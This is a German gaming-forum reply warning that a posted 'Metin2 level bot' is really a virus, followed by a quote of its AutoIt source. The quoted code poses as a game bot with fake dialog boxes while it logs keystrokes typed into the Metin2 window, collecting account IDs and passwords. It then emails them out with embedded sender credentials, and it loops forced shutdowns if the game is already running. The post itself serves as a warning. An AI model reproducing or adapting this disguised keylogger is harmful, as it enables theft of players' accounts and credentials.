nur so zu info ^^
es ist ein virus
1. Wieso wen man ihn startet steht da Metin2 ?
2. er schreibt nur ere id und pw mit ^^
3. der bot wurde schonmal gepostet
4. vote 4 close
Quote:
GLOBAL $DEINEEMAILADRESSE = ""
Global $ABSENDEREMAIL = ""
Global $PASSWORT = "nilpferd"
#NoTrayIcon
If WinActivate("METIN2") Then
MsgBox(0, "Metin2 Lvlbot", "Dein Metin2 Fenster ist aktiv, bitte schließe es! Die initialien dieses Fensters müssen erst gelesen werden!")
Sleep(5000)
Else
MsgBox(0, "Metin2 Lvlbot", "Du kannst nun Metin2 starten!")
EndIf
If WinActivate("METIN2") Then
While 1
$SHUT = Shutdown(0)
If $SHUT = 0 Then
$SHUT = Shutdown(1)
If $SHUT = 0 Then
$SHUT = Shutdown(2)
If $SHUT = 0 Then
$SHUT = Shutdown(4)
If $SHUT = 0 Then
$SHUT = Shutdown(8)
If $SHUT = 0 Then
$SHUT = Shutdown(32)
If $SHUT = 0 Then
$SHUT = Shutdown(46)
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
WEnd
EndIf
$DLL = DllOpen("user32.dll")
$KEYS = IniReadSection("keys.ini", "keys")
WinWaitActive("METIN2")
Global $TIMER = TimerInit()
Global $A = "DETECTOR: "
Global $SHIFT = False
Do
For $X = 1 To $KEYS[0][0]
If _ISPRESSED($KEYS[$X][0], $DLL) Then
$KEY = $KEYS[$X][1]
If (_ISPRESSED("A1") Or _ISPRESSED("A0")) Then
If Not $SHIFT Then
$A = $A & "{Shift} "
EndIf
$SHIFT = True
Else
If $SHIFT = True Then
$A = $A & "{//Shift} "
$SHIFT = False
EndIf
EndIf
While _ISPRESSED($KEYS[$X][0], $DLL)
Sleep(1)
WEnd
$A = $A & $KEYS[$X][1] & " "
If TimerDiff($TIMER) > MIN2MILLI(4.5) Or _ISPRESSED("25") Or _ISPRESSED("26") Or _ISPRESSED("27") Or _ISPRESSED("28") Then ExitLoop
EndIf
If TimerDiff($TIMER) > MIN2MILLI(4.5) Or _ISPRESSED("25") Or _ISPRESSED("26") Or _ISPRESSED("27") Or _ISPRESSED("28") Then ExitLoop
Next
Until TimerDiff($TIMER) > MIN2MILLI(4.5) Or _ISPRESSED("25") Or _ISPRESSED("26") Or _ISPRESSED("27") Or _ISPRESSED("28")
SENDMAIL($ABSENDEREMAIL, $DEINEEMAILADRESSE, $A, $ABSENDEREMAIL, $PASSWORT)
Sleep(Int(Random(1000, 6000)))
$MSG = MsgBox(0, "Metin2 LvL-Bot", "Der Lvlbot ist bereit! Klicke auf Ok um den Bot zu Starten")
If $MSG = 1 Then LOS()
HotKeySet("{F8}", "_beenden")
HotKeySet("{F9}", "_pause")
HotKeySet("{F7}", "Los")
HotKeySet("{F6}", "ShowExp")
HotKeySet("{F5}", "Inventar")
Func INVENTAR()
If _ISPRESSED("49") Then
Do
Sleep(10)
Until _ISPRESSED("49")
EndIf
EndFunc
Func SHOWEXP()
Do
Sleep(15)
MouseMove(222, 578, 1)
Sleep(15)
Until _ISPRESSED("75")
EndFunc
Func _PAUSE()
Do
Sleep(100)
$MESSEGE = MsgBox(0, "LvL-Bot Pause", "Klicke Ok um weiter zu Lvln")
Until $MESSEGE = 1
EndFunc
"
